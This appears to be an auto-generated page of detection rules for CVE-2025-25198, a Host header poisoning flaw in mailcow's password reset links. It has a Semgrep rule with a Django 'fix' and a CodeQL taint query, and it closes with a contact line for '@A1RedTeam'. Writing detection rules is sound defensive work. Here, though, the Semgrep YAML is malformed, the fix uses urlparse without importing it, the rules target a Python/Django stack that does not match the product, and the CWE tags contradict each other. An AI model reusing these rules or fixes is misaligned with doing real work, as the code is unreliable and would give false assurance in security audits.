    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"
- id: CVE-2025-25198-redirect-injection
  languages:
  - python
  severity: ERROR
  message: "Potential URL redirection to user-controlled domain,
enabling phishing via Host header poisoning in password reset flow."
  patterns:
  - pattern: |redirect($LOCATION)
  - pattern-either:
    - pattern: |HttpResponseRedirect($URL)
    - pattern: |redirect($URL)
    - pattern: |RedirectView(url=$URL)
  - pattern-not: |redirect("https://mailcow.app/reset-password")
  fix: |
from django.shortcuts import redirect
    def safe_redirect(url):
        parsed = urlparse(url)
        if parsed.hostname in ALLOWED_HOSTS:
            return redirect(url)
        return redirect("/")
  metadata:
    cwe: "CWE-601"
    owasp: "A1: Injection"
    technology: django
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"

🛡️ CodeQL 审计规则: CVE-2025-25198.ql

📋 代码元数据语言ql来源rules/codeql/CVE-2025-25198.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run

/**
 * @kind path-problem
 * @id python/host-header-poisoning/cve-2025-25198
 * @name Host header poisoning in mailcow password reset
 * @description User-controlled Host header used in password reset link generation,
allowing attacker to redirect password reset links to arbitrary host
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-522
 */
import python
import semmle.python.dataflow.TaintTracking
import semmle.python.web.HttpRequest
import semmle.python.web.Uri

class HostHeaderSource extends DataFlow::Node {HostHeaderSource() {exists(HttpRequest req |
this = req.getHeader("Host") or
      this = req.getHeader("host")
    )
  }}class PasswordResetSink extends DataFlow::Node {PasswordResetSink() {exists(Call call |call.getFunction().getName() = "reset_password" and
      this = call.getArg(_)
    ) or
    exists(AttrWrite attr |attr.getAttribute() = "password_reset_link" and
      this = attr.getValue()
    ) or
    exists(Call call |
call.getFunction().getName() = "send_mail" and
      this = call.getArg(0)
    )
  }}class HostHeaderPoisoningConfig extends TaintTracking::Configuration {HostHeaderPoisoningConfig() {this = "HostHeaderPoisoningConfig" }override predicate isSource(DataFlow::Node source) {source instanceof HostHeaderSource
  }override predicate isSink(DataFlow::Node sink) {sink instanceof PasswordResetSink
  }}
from HostHeaderPoisoningConfig cfg,DataFlow::Node source,DataFlow::Node sink
where cfg.hasFlow(source,sink)
select sink,"Host header flows to password reset: $@",source,"attack-controlled Host header"

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-02 12:03

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)